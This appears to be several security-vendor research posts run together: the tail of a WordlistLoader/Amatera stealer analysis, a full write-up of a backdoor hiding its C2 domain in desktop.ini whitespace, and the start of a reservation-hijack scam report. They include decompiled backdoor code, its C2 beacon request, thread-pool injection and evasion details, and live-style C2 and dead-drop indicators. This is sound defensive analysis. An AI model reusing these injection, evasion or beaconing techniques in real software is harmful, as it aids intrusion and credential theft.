To get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in the browser. The first section holds the payload, mapped locally as <code>RW</code> and <code>RX</code> in the browser, whereas the second carries a configuration blob and the output area for the recovered keys, mapped as <code>RW</code> on both sides. The configuration blob holds the pointers to the native and crypto functions used by the payload, the path to the browser's <code>Local State</code>, the address of the encrypted <code>v20_master_key</code>, and the already mentioned ABE pattern with the mask should the payload need to locate the key again (by default, the key is located by the stealer itself, reading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).
Finally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread, Amatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote <code>TP_DIRECT</code> Insertion), <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">published by SafeBreach in 2023</a>. It enumerates the browser's handles with <code>NtQueryInformationProcess</code>, duplicates them with <code>NtDuplicateObject</code>, identifies the I/O completion port among them with <code>NtQueryObject</code>, and queues a <code>TP_DIRECT</code> work item on it with <code>NtSetIoCompletion</code>, leaving the execution to one of the browser's own worker threads. The work item itself is a 72-byte <code>TP_DIRECT</code> structure assembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation. Once the work item is queued, the stealer polls the output section for a marker signaling that the payload has finished.

<h2>Summary</h2>
In this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns. We covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion mechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.
We also covered the latest updates in Amatera, which has seen months of active development, with the effort showing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed heavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its Application-Bound Encryption bypass into one closely resembling that of Remus/Lumma.

<h2>Indicators of Compromise (IoCs)</h2>
<h3>Compromised Websites Observed Serving ClearFake's FakeCaptchas</h3>
abogadosrosarinos[.]com 
aptisweb[.]com 
avene-hebergement[.]com 
https-xhamster[.]com 
www[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan 
skybap[.]shop
<h3>WordlistLoader</h3>
eb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a 
cd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa 
84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20 
124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7 
9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1
9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant) 
e37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant) 
596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant) 
5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant) 
25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)

<h3>Amatera</h3>
9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1) 
7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1) 
d9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1) 
54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2) 
8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1) 
42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1) 
38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1) 
88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3) 
c4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2) 
ee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1) 
90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha) 
fee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha) 
147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta) 
2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)
Amatera C2s
health[.]luminexus[.]cc 
stream[.]luminfrastructure[.]cc 
stream[.]threatenbrick[.]cc 
yw[.]enhanceblabber[.]cc 
pmpo[.]cloudvector[.]cc 
dust[.]packetflow[.]cc 
updates[.]wildtrail[.]cc 
app-api[.]lensstory[.]cc 
proxy[.]fluxautomation[.]cc 
stream[.]pawpalace[.]cc 
dist[.]runtimeconsole[.]cc 
id[.]binaryharbor[.]cc 
wss[.]infrastructurecore[.]cc 
id[.]exhumepacifier[.]cc
Amatera Dead Drops
telegra[.]ph/Executing-modules-as-scripts-06-16 
telegra[.]ph/Using-Python-as-a-Calculator-06-05 
telegra[.]ph/Jack-Little-04-18 
telegra[.]ph/Parameters-04-03 
telegra[.]ph/Jewel-03-06 
telegra[.]ph/Catnap-Skimmed-03-06

 New Loader Hiding Shellcode in Plain English Words

 WordlistLoader Delivering Amatera via ClearFake Campaigns 

Senior Malware Researcher

We found a custom Windows backdoor on a single corporate workstation while hunting for unusual WMI persistence. The malware was small, had a limited command set and disguised itself as legitimate Realtek software. Its most unusual feature was its configuration: the address of its command-and-control server was not stored as readable text or encrypted data, but encoded in the number of spaces on each line of a Windows `desktop.ini` file. To a user, and to many automated inspection systems, the file would appear almost empty. To the malware, those spaces spelled out its server address. We found no evidence connecting the backdoor to a known threat actor, and the original infection happened before our protection was installed. However, the implant's custom design, its deployment on only one observed machine and the absence of related samples suggest that this may have been a deliberately targeted operation rather than a failed mass campaign.

<h2>An event subscription named "Realtek"</h2>
Most malicious WMI subscriptions are easy to spot because the query asks for something no administrator would. This one asked for something an administrator plausibly might, at a very specific time.
Our behavioural engine dumped the subscription it objected to. This is our own export of the WMI objects rather than a file the attacker left on disk, with the host name redacted:

A filter watching <code>Win32_LocalTime</code> for hour 19, minute 50 is a restart timer, not a boot hook. The subscription itself lives in the WMI repository and survives reboots; what it does not do is start anything at boot, so a machine restarted in the morning stays quiet until the evening.
<code>RtkNGUI64.exe</code> is the real name of Realtek's audio control panel, and the consumer's command line writes the path in 8.3 short form, <code>Progra~1</code> rather than <code>Program Files</code>.

<h2>Why one machine is the interesting part</h2>
Everything in this post came from a single host: a domain-joined Windows 7 SP1 workstation, 64-bit. One managed endpoint, and our prevalence figure for the binary is exactly one.
That number is easy to misread, because low prevalence usually means a campaign that failed. Low prevalence should not mean low investigative priority: a threat sitting on one machine can matter more than one sitting on a hundred thousand, and a triage queue sorted by prevalence will show it to you last, if it shows it to you at all. The grounds for reading this one the other way need no victim detail at all.
The implant is custom-built: twelve kilobytes, no runtime library, and a config format that appears nowhere else in our corpus. None of the artefacts have ever been uploaded to VirusTotal in more than five years. We also searched VirusTotal by content for the fragments that would betray a sibling, including the <code>c%s%se /c %s</code> format string, the <code>a=%s&amp;r=none</code> beacon body, <code>/version/check.php</code> inside Windows executables, and a stock UTF-16 <code>desktop.ini</code> header followed by runs of spaces. All four returned nothing. Two looser patterns, the table its checksum routine uses to rebuild a polynomial and a bare run of UTF-16 spaces, matched unrelated files and tell us nothing either way.
The domain also typosquats a Windows service, which is a choice made by someone who knew what <code>DiagTrack</code> was rather than the output of a generation algorithm, whatever VirusTotal's <code>dga</code> tag suggests.
A commodity loader that only ever lands on one machine is broken. A hand-written implant that only ever lands on one machine may be working exactly as intended.
We will not push the assessment further than that. We never captured a task and never saw a second-stage payload, and we cannot tell you how the machine was reached, for a reason the timeline further down makes plain: the implant was already in place before our software arrived. Whatever the initial vector was, it happened on an endpoint nobody was watching. We name no actor and no campaign.

<h2>What RtkNGUI64.exe actually is</h2>
The binary is a 12,288-byte x64 executable with no C runtime, no packer, and an entry point that goes straight into the main loop. It imports 48 functions by name across <code>KERNEL32</code>, <code>WININET</code>, <code>WS2_32</code>, <code>IPHLPAPI</code>, <code>SHLWAPI</code> and <code>ADVAPI32</code>, and that is the whole dependency list. <code>msvcrt.dll</code> is not on it, and leaving it out took deliberate work. The appendix has the substitutions the author wrote around it, the compiler they used, and the day they built it.
There is no encrypted blob, no import hashing and no anti-debug. The engineering worth looking at is all in where the thing keeps its configuration.

<h2>The config is a desktop.ini full of spaces</h2>
On startup the backdoor assembles a path from the <code>PROGRAMDATA</code> environment variable and two string fragments, opens the result with <code>OPEN_ALWAYS</code>, and checks that there is something past the header to read:
<pre><code>GetEnvironmentVariableA("PROGRAMDATA", ini_name, 0x40u); lstrcatA(ini_name, "\DESKTOP."); // first half of the filename

// ... bot ID, mutex, heap and pipe setup: sixteen lines ...

lstrcatA(ini_name, "ini"); // second half, appended much later

hFile = CreateFileA(ini_name, GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // both the subtraction and the comparison are unsigned (jbe, not jle) if ( hFile == INVALID_HANDLE_VALUE || (payload_size = GetFileSize(hFile, 0) - 174) &lt;= 0x31 ) ExitProcess(0);

</code></pre>
The filename arrives in two pieces, and not adjacent ones: sixteen lines of unrelated setup sit between the two <code>lstrcatA</code> calls. <code>\DESKTOP.</code> and <code>ini</code> are stored as separate literals in <code>.rdata</code>, so the string <code>desktop.ini</code> appears nowhere in the file. Grep the binary for it and you get nothing.
The size check is looser than it looks. The subtraction and the comparison are both unsigned — <code>jbe</code> in the disassembly — so it rejects only files of 174 to 223 bytes. <code>OPEN_ALWAYS</code> means a host with no config gets an empty <code>desktop.ini</code> created for it, <code>0 - 174</code> wraps to <code>0xFFFFFF52</code>, the guard passes, and the code asks the process heap for four gigabytes of zeroed memory. Nothing checks the result: on any machine that cannot satisfy that, the counting loop dereferences a null pointer. So on a host the operator never staged, the implant creates a zero-byte <code>C:\ProgramData\desktop.ini</code> and crashes on the spot.
Then it seeks to byte 174 and counts:
<pre><code>SetFilePointer(hFile, 174, 0, FILE_BEGIN); // skip the stock Windows header ReadFile(hFile, payload, payload_size, &amp;bytes_read, 0);

line = 0; i = 0; do { if ( payload[i] == 13 ) // CR: next line, skip the LF { ++line; i += 2; } else { ++line_lengths[line]; // count one character on this line } i += 2; // stride 2: the file is UTF-16LE } while ( i &lt; payload_size );

lstrcpyA(g_server, line_lengths); // the counts are the string lstrcatA(g_server, ".com");

</code></pre>
There is no key and no decryption. <code>line_lengths</code> is an array of bytes holding one count per line, and the last two statements hand that array to <code>lstrcpyA</code> as though it were a string. The number of characters on a line is the ASCII code of one character of the domain. This is unary encoding, the tally-marks of data formats.
The stride of 2 is there because the file is UTF-16LE, and the offset of 174 is not arbitrary: it is the exact byte length of a stock Windows <code>desktop.ini</code>, from the byte-order mark through a blank line, the <code>[.ShellClassInfo]</code> section header, <code>LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21781</code> and its closing CRLF. The attacker invented no file format. They took the real Windows file that gives the Program Files folder its localised display name and appended to it.
In an editor it looks like an ordinary system file with some trailing whitespace. Typed out as UTF-16LE strings, it is thirteen lines: the three-line stock header, then ten lines containing nothing else.

The addresses in that left column are the domain. Each line starts two bytes per space plus four for the CRLF after its predecessor, so <code>0x17A - 0xAE</code> is 204, giving 100 spaces and the letter <code>d</code>. Counting the spaces on each line of the sample we recovered gives ten numbers:
<table>
<thead>
<tr>
<th class="markdown-align-right">Line</th>
<th class="markdown-align-right">Spaces</th>
<th class="markdown-align-left">Character</th>
</tr>
</thead>
<tbody>
<tr>
<td class="markdown-align-right">1</td>
<td class="markdown-align-right">100</td>
<td class="markdown-align-left">d</td>
</tr>
<tr>
<td class="markdown-align-right">2</td>
<td class="markdown-align-right">105</td>
<td class="markdown-align-left">i</td>
</tr>
<tr>
<td class="markdown-align-right">3</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">4</td>
<td class="markdown-align-right">103</td>
<td class="markdown-align-left">g</td>
</tr>
<tr>
<td class="markdown-align-right">5</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">6</td>
<td class="markdown-align-right">116</td>
<td class="markdown-align-left">t</td>
</tr>
<tr>
<td class="markdown-align-right">7</td>
<td class="markdown-align-right">114</td>
<td class="markdown-align-left">r</td>
</tr>
<tr>
<td class="markdown-align-right">8</td>
<td class="markdown-align-right">97</td>
<td class="markdown-align-left">a</td>
</tr>
<tr>
<td class="markdown-align-right">9</td>
<td class="markdown-align-right">99</td>
<td class="markdown-align-left">c</td>
</tr>
<tr>
<td class="markdown-align-right">10</td>
<td class="markdown-align-right">107</td>
<td class="markdown-align-left">k</td>
</tr>
</tbody>
</table>
With the hardcoded suffix, the backdoor calls home to <code>diagrtrack.com</code>.
That name is a typosquat of <code>DiagTrack</code>, the Windows service better known by its display name, Connected User Experiences and Telemetry. The malware hid the address of its telemetry server inside a Windows shell configuration file, and named that server after the Windows telemetry service.
<pre><code>Twenty lines of Python recover the domain from any config of this shape:

HEADER_LEN = 174 # length of the stock Windows Program Files desktop.ini

def decode(path): with open(path, "rb") as fh: payload = fh.read()[HEADER_LEN:]

counts, current, i = [], 0, 0
while i &lt; len(payload):
 if payload[i] == 0x0D: # CR ends a line; skip the following LF
 counts.append(current)
 current = 0
 i += 4
 continue
 current += 1
 i += 2 # stride 2: UTF-16LE

if current:
 counts.append(current)

return "".join(chr(c) for c in counts) + ".com"
</code></pre>
The scheme is wasteful in a revealing way. Because each character costs as many UTF-16 spaces as its ASCII value, the config's size is a direct function of the domain it hides: <code>174 + 2 * sum(character codes) + 4 * lines</code>, which for <code>diagrtrack</code> gives 2,318 bytes exactly. The file size is a fingerprint of the domain, and the domain can be narrowed down from the file size alone.

<h2>The C2 protocol</h2>
Each victim gets an eight-character identifier: the CRC-32 of <code>USERNAME</code>, <code>USERDOMAIN</code> and <code>COMPUTERNAME</code> concatenated, formatted as <code>%08X</code>. The same value becomes the name of a mutex, and a second copy waits a second for it before giving up. That matters more than it sounds, because the first copy never gives up: the binary has exactly one <code>ExitProcess</code> call, in the configuration routine, reached only when the mutex is already held or the config is unusable. Past that point the process loops forever. The 19:50 trigger therefore fires to useful effect once per boot, and every later firing dies on the mutex.
The CRC is standard, but neither the polynomial nor the usual 256-entry lookup table is anywhere in the file. What is there is a 14-byte table of bit positions that the code walks at runtime, setting one bit per entry to rebuild <code>0xEDB88320</code>. That reads like an attempt to leave no constant for a scanner to key on, and it is not: it is zlib's <code>DYNAMIC_CRC_TABLE</code> build option, copied in whole. The appendix works out which decade the copy came from.
Every cycle then opens with an ICMP knock rather than an HTTP request. The backdoor resolves the domain, puts its eight-byte identifier in the payload of a 32-byte echo request, and waits a second for a reply. Only if the ping succeeds does it speak HTTP:
<pre><code>POST /version/check.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Content-Type: application/x-www-form-urlencoded

a=&lt;id&gt;&amp;r=none
</code></pre>
A beacon with nothing to report sends <code>r=none</code>: the first one, and every cycle where the last response carried no command or only a <code>time</code> change. Otherwise <code>r</code> carries the previous command's output, base64-encoded and then URL-encoded. The user agent is a hardcoded Chrome 78 string, frozen at whatever was current when the author wrote it.
Tasking comes back in the response body, which the malware scans for the literal <code>CMD=</code>. There are three verbs:
<ul>
<li><code>system</code> runs a command through <code>cmd.exe</code>, captures stdout and stderr through a pipe, and gives up after 30 seconds with the text <code>cmd timeout</code></li>
<li><code>put</code> writes a file, taking a path and base64 content</li>
<li><code>time</code> changes the polling interval, which starts at five seconds</li>
</ul>
That is the whole command set. No file listing, no screenshots, no keylogging. Whatever the operator wanted, they were going to get it by shelling out and writing files.

<h2>Two smaller touches</h2>
The <code>put</code> handler does something odd before it writes. It base64-decodes the content, decrements the first byte and increments the second, writes the result to <code>tempcache.tmp</code>, renames that to the target path, and only then reopens the file to patch the correct two bytes back. A dropped executable therefore sits on disk with <code>L[</code> where its <code>MZ</code> signature belongs, right up until a final two-byte write. Anything scanning on file creation or rename sees something that is not a PE at all.
The same habit accounts for <code>cmd.exe</code>, which is absent from the binary in one piece and assembled at the call site:
<pre><code>wnsprintfA(buffer, 0xFFFF, "c%s%se /c %s", "md.", "ex", command);
</code></pre>
Neither trick would trouble a modern behavioural engine, but together they show what the author was worried about: on-access file scanners and string searches, enough to write awkward code to dodge them.

<h2>One machine, one dead domain</h2>
The dates are where this stops being a story about clever encoding.
The domain was registered on 23 July 2020 through a privacy proxy. The binary was compiled on 2 December 2020 at 13:34 UTC, and the config file on the victim's disk was created a little over three hours later. Build and deploy inside one afternoon.
Our software was installed twenty-one days later. Every date that follows is from the middle of the incident rather than the start, and the first evening the backdoor started on that machine is not something we have any record of.
The last DNS record we hold for <code>diagrtrack.com</code> is from March 2021. The registration lapsed that July and nobody renewed it. Nobody re-registered it either: the domain has no whois record today and does not resolve. Even the squatters passed.
The backdoor did not notice. We collected the same WMI subscription from that host three times, in February, August and October 2021, which is how we know the persistence stayed in place rather than being cleaned and reinstalled. When a detection we wrote for this file shape went live in June 2022, it fired on the same machine, and the config was still sitting in <code>C:\ProgramData</code>.
From the code we know what that machine did for the eleven months after the registration lapsed. At 19:50 the WMI consumer started the process, it counted the spaces, rebuilt <code>diagrtrack.com</code>, and called <code>getaddrinfo</code>, which failed. The failure changed less than you would think, because the address buffer is never initialised and nothing checks the return value: every five seconds the implant read whatever bytes happened to be on its stack, called <code>inet_addr</code> on them, and sent an ICMP echo to the result. Then it slept and did it again, until the machine was next rebooted. There was no one on the other end for any of it.

<h2>Detection opportunities</h2>
Configuration formats do not have to look like configuration formats. A routine that counts spaces is still a parser, and a file containing no suspicious strings, high-entropy blob or encoded text can still carry a C2 address in plain sight. Any pipeline that finds data mainly by looking for things that resemble data risks treating whitespace as empty.
Structural detections are more durable. A hash covers one binary and a domain block covers one address, but a rule describing the shape of this configuration survives changes to both.
Past byte 174, a legitimate <code>desktop.ini</code> should not consist entirely of UTF-16 spaces, carriage returns and line feeds. We deployed a detection for that structure in June 2022 and ran it until November. Across our user base, it fired only on the machine we already knew about. It would nevertheless detect another configuration using the same technique with a completely different domain.
The same characteristics also provide several inexpensive hunting opportunities:
<ul>
<li>
Look for <code>__EventFilter</code> and <code>CommandLineEventConsumer</code> pairs bound to <code>Win32_LocalTime</code>, particularly those launching executables from paths intended to resemble legitimate software.
</li>
<li>
Inspect <code>C:\ProgramData\desktop.ini</code>, especially when it contains the Program Files localization string <code>shell32.dll,-21781</code>.
</li>
<li>
Treat a zero-byte <code>C:\ProgramData\desktop.ini</code> as potentially significant. That is the crash artefact this implant creates when the operator has not staged a valid configuration.
</li>
<li>
Look for <code>desktop.ini</code> files containing a legitimate Windows header followed only by UTF-16 whitespace.
</li>
</ul>

<h2>Conclusion</h2>
Everything in this investigation came from one endpoint. That does not tell us how consequential the intrusion was, because we never captured a command, recovered a second-stage payload or established how the machine was first compromised. It does tell us that prevalence alone would have been a poor reason to ignore it.
The implant was custom-built, its configuration format was absent from the rest of our corpus, and searches for related binaries and protocol fragments found no convincing siblings. We assess with moderate confidence that it was deployed selectively, while stopping short of naming an actor or campaign.
By the time our detection found it, the C2 domain had been expired for eleven months. The backdoor was still starting at 19:50 after every reboot, rebuilding the address from lines of spaces, and trying to contact an operator who was no longer there.
The detection was not wrong. It was late.

<h2>Appendix: build and CRC provenance</h2>
Two details that change nothing about the story but pin down what the author built this with.
<h3>The missing runtime</h3>
<code>msvcrt.dll</code> is absent from the import table, and that absence took work. <code>SHLWAPI</code> is there to supply <code>wnsprintfA</code>, <code>StrStrA</code> and <code>StrToIntA</code> in place of <code>sprintf</code>, <code>strstr</code> and <code>atoi</code>, the <code>str*</code> family is <code>lstrcpyA</code> and friends from <code>KERNEL32</code>, and <code>memset</code> and <code>memcpy</code> are the author's own two routines, because the compiler emits calls to those whether you link a runtime or not. The binary also carries its own compiler receipt in <code>.rdata</code>:
<pre><code>GCC: (tdm64-1) 4.9.2
</code></pre>
That is TDM-GCC, a MinGW-w64 distribution, and the linker version of 2.24 and the missing Rich header agree with the string. The PE timestamp reads 2 December 2020, 13:34 UTC. A default build from that toolchain would enter at <code>mainCRTStartup</code> and import <code>msvcrt.dll</code>, so the runtime had to be left out on purpose and the entry point aimed at the author's own function.
<h3>The polynomial that is not there</h3>
The 14-byte table in <code>.rdata</code> is a list of bit positions:
<pre><code>0, 1, 2, 4, 5, 7, 8, 10, 11, 12, 16, 22, 23, 26
</code></pre>
At runtime the code walks that table and sets one bit per entry, counting down from bit 31:
<pre><code>for ( i = 0; i != 14; ++i )
 poly |= 1 &lt;&lt; (31 - tap_table[i]);
</code></pre>
The result is <code>0xEDB88320</code>, the reflected CRC-32 polynomial, which has exactly 14 bits set. Before crediting the author for that: this is zlib. The routine is <code>crc32()</code> line for line, from the null-pointer guard through the pre- and post-inversion to the eight-bytes-at-a-time unrolled loop, compiled with <code>DYNAMIC_CRC_TABLE</code> — the zlib build option that generates the lookup table on first use instead of shipping a kilobyte of constants — and GCC has inlined the static <code>make_crc_table</code> into it, which is why the table build sits inside the same function. zlib built the polynomial from that list of exponents from January 1996 until the 1.2.12 release, in March 2022, replaced it with a plain <code>#define POLY 0xedb88320</code>. The comment sitting directly above the list writes the same polynomial out longhand, as <code>x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1</code>, so the table is the polynomial as a mathematician would state it rather than a constant kept out of a scanner's way. It did not go away for tidiness either: the commit that removed it rewrote the whole routine around the interleaved CRC method of Kadatch and Jenkins, and the new <code>#define</code> was a byproduct of chasing a factor of three in speed.
The confirmation is in <code>.data</code>, which in this binary holds exactly one initialised variable: a <code>dd 1</code> that the CRC routine clears once the table exists. That is zlib's <code>crc_table_empty</code>. What is not there is the thread-safety flag zlib added in September 2004, so their copy of <code>crc32.c</code> came from some zlib released between 1996 and 2004, at least sixteen years stale by the time they compiled it. The missing constant is a build option, not tradecraft.

<h2>Indicators of Compromise</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>diagrtrack{.}com</td>
<td>C2 domain (expired, no longer resolves)</td>
</tr>
<tr>
<td>d411d93f358128c77aed0be91365b18cfb7575ecd188d22a216cbaeaa51c5e11</td>
<td>Backdoor, RtkNGUI64.exe</td>
</tr>
<tr>
<td>1cc5a4be7f2e41086b53e698b487e43426e5e572bc99e5de62eada9baf83bdcd</td>
<td>Whitespace-encoded config</td>
</tr>
<tr>
<td>C:\Program Files\Realtek\Audio\RtkNGUI64.exe</td>
<td>Fake install path</td>
</tr>
<tr>
<td>C:\ProgramData\desktop.ini</td>
<td>Config location</td>
</tr>
<tr>
<td>/version/check.php</td>
<td>C2 URI path</td>
</tr>
<tr>
<td>Realtek</td>
<td>WMI filter, consumer and binding name</td>
</tr>
</tbody>
</table>

A hand-written Windows backdoor stored its command-and-control domain as the number of trailing spaces in a fake desktop.ini, and we found it on exactly one machine.

A 12 KB Backdoor Hid Its C2 Domain in desktop.ini Whitespace

When we published the first part of this research, we said the investigation was still ongoing. That was not a closing line. We were already looking at the infrastructure, the signals behind the attacks, and the scale of the reservation data abuse we were seeing in our telemetry.&nbsp;Then something else happened.&nbsp;Friends, colleagues, and other contacts started forwarding us messages they had received from Booking.com. The messages warned that unauthorized third parties may have accessed information linked to their reservations. Shortly after, media outlets began reporting the same thing: Booking.com had notified affected customers, reset reservation PINs, and said the accessed information could include names, email addresses, phone numbers, booking details, and information shared with accommodations. Booking.com said financial information was not accessed from its systems.&nbsp;The timing mattered, but not because it started our investigation. It mattered because it publicly confirmed the kind of reservation-data exposure our first article had described from the attack side.&nbsp;<a href="https://us.norton.com/blog/online-scams/reservation-hijacking-scam" target="_blank">Reservation Hijack scams</a> work because criminals do not have to guess. A traveler receives a message about a real booking. The message contains details that make sense: the right accommodation, the right trip context, sometimes the right contact information. The link then opens a fraudulent page built around the same accommodation.&nbsp;A generic <a href="https://us.norton.com/blog/online-scams/what-is-phishing " target="_blank">phishing message</a> has to create trust from nothing. This scam steps into a relationship that already exists between the traveler, the booking platform, and the accommodation.&nbsp;While those public warnings were appearing, Gen Threat Labs continued canvassing the data we had available: blocked URLs, fraudulent landing pages, SMS messages, emails, WhatsApp messages, in-app message evidence, and other signals connected to attacks we had already stopped. We used AI-assisted analysis to connect pieces that would otherwise remain scattered: messages, landing pages, accommodation names, URLs, templates, and infrastructure patterns. Human analysts reviewed the results and separated what we could prove from what we could only suspect.&nbsp;The result is a much clearer picture.&nbsp;We identified more than 350 compromised accommodations linked to the Reservation Hijack scam flows, spread across 50 countries. These were not abstract indicators or generic travel-themed pages. In the cases we analyzed, victims had already received reservation-specific information before being pushed to a fraudulent page customized around the accommodation tied to that booking.&nbsp;That is the difference between ordinary travel phishing and this model. The attackers are not guessing who is traveling. They already have enough reservation context to make the fraud feel normal.&nbsp;And they are doing it at scale.&nbsp;

<h3>How we connected the evidence&nbsp;</h3>The second phase of our investigation was already underway when Booking.com’s customer notifications started circulating publicly.&nbsp;Gen’s view of this activity comes from attacks we blocked before they could complete. No single signal tells the whole story. An SMS or WhatsApp message may show the <a href="https://us.norton.com/blog/emerging-threats/what-is-social-engineering " target="_blank">social engineering</a>. A URL may show the redirect path. A landing page may show the accommodation being impersonated. An in-app message may show where the attacker entered the trusted communication flow. A repeated page structure may link incidents that look separate at first.&nbsp;Put together, those pieces show how reservation data moves from compromise to fraud.&nbsp;AI helped us work through that evidence at scale. We used it to normalize accommodation names, cluster similar messages, compare landing-page structures, connect URLs with page content, and flag repeated patterns across channels. This was not “AI says these attacks are connected.” It was AI-assisted triage followed by human review.&nbsp;From that process, we extracted and cleaned accommodation names from captured fraudulent landing pages and identified 350 compromised accommodations.&nbsp;We use “compromised accommodations” carefully here. It means reservation context tied to those accommodations was compromised and used in an attack flow we intercepted. The source of compromise may vary: a hotel account, a booking platform partner account, an email inbox, a property management system, a guest messaging workflow, or a third-party service provider.&nbsp;The end result for the traveler is the same. Criminals had access to information that should have stayed inside the booking relationship.&nbsp;This is also a conservative number. It only includes attacks where we had enough evidence to connect the flow to a specific accommodation. It does not include people who received a message and never clicked, attacks outside our telemetry, landing pages we did not capture, or cases where the accommodation name could not be reliably extracted.&nbsp;So 350 is not the size of the problem. It is the part we could see clearly.&nbsp;<h3>From scam pattern to repeatable operation&nbsp;</h3>A single compromised hotel account can explain a few victims. A copied phishing kit can explain a short campaign. Hundreds of accommodation-specific scam flows across 50 countries point to something more organized.&nbsp;The model we see is consistent.&nbsp;Reservation context enters the fraud chain, sometimes through compromised accommodation-side accounts, inboxes, partner tools, or data obtained from other criminal actors. That context is then used to contact travelers with details that make the message feel legitimate.&nbsp;The wording, the property, the country change. The logic does not.&nbsp;That is why this follow-up is not simply “we found more cases.” The first article explained <a href="https://www.gendigital.com/blog/insights/research/reservation-hijack-scam">how Reservation Hijack scams work</a>. This one shows how far the model has spread.&nbsp;<h3>A worldwide footprint, led by Europe&nbsp;</h3>The highest number of compromised accommodations in our dataset were linked to Germany, followed by France, the United Kingdom, Italy, Spain, and the United States.&nbsp;Germany accounted for 49 compromised accommodations in the dataset. France followed with 35, the United Kingdom with 31, Italy with 24, Spain with 20, and the United States with 19.&nbsp;Together, the top five European countries, Germany, France, the United Kingdom, Italy, and Spain, accounted for 159 compromised accommodations, about 45% of the full dataset.&nbsp;

The European concentration makes sense. Europe has a dense travel market, a high volume of cross-border bookings, many independent and mid-sized accommodation providers, and a strong dependency on online booking platforms and pre-arrival guest messaging.&nbsp;Those conditions give criminals useful cover. Travelers expect messages before arrival. They expect payment questions, check-in instructions, policy reminders, and booking updates. A well-timed fake message does not feel unusual.&nbsp;But the country distribution also shows that this is not a single-region problem. The activity spreads across 50 countries, with a long tail of destinations beyond the largest clusters.&nbsp;

That long tail matters. It suggests the model is not limited to a few obvious tourist destinations or a handful of famous hotel brands. Once criminals have access to reservation data and a working scam flow, the same approach can be adapted to different countries, languages, property types, and booking habits.&nbsp;The property does not need to be famous. It only needs to be real, tied to a real reservation, and recognizable to the victim.&nbsp;<h3>Not just hotels&nbsp;</h3>Hotels make up the largest share of the dataset, but they are not the whole story.&nbsp;We identified compromised accommodations across several property types: hotels, aparthotels, apartments, inns, motels, lodges, resorts, guesthouses, B&amp;Bs, hostels, villas, bungalows, and capsule hotels.&nbsp;

